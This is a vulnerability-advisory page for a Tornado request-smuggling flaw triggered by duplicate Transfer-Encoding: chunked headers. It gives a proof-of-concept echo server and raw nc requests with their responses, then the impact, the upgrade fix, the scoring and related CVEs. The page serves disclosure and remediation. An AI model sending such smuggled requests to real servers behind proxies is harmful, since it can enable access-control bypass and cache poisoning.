CVE-2024-14029 — Vulnerability in tornado — CVE Details
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.34%). Schedule for your next planned update.
Does your project use an affected tornado version?
Paste your requirements.txt to check it for CVE-2024-14029 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.
PoC
- Install Tornado.
- Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &
- Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z
- Send a request with two
Transfer-Encoding: chunkedheaders:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
Advisory Timeline
- First published June 6, 2024 (903 days ago).
- Last revised September 16, 2026 — 831 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "tornado>=6.4.1"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| tornado PyPI · Affected: 0.2, 1.0, 1.1, 1.1.1 (+68 more) | 6.4.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-444
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 5.3 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
References
Frequently Asked Questions
- What is CVE-2024-14029?
- Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.3/10).
- How do I check if my project is affected by CVE-2024-14029?
- CVE-2024-14029 affects tornado. It has a 0.3% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-14029 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is a below-median EPSS score — only 19.4% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-31958HIGH
Tornado is vulnerable to DoS due to too many multipart parts
- CVE-2026-116577MEDIUM
Tornado: Quadratic CPU usage when parsing HTTP headers with line folding
- CVE-2025-67724MEDIUM
Tornado vulnerable to Header Injection and XSS via reason argument
- CVE-2026-91992MEDIUM
Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse
- CVE-2023-54397MEDIUM
Tornado vulnerable to HTTP request smuggling via improper parsing of `Content-Length` fields and chunk lengths
- CVE-2026-115927MEDIUM
Tornado: Event loop blocking and excess memory use from chunked bodies with many small chunks
- CVE-2024-58384MEDIUM
Tornado has a CRLF injection in CurlAsyncHTTPClient headers
- CVE-2026-116578LOW
Tornado: Open redirect in RedirectHandler via protocol-relative URLs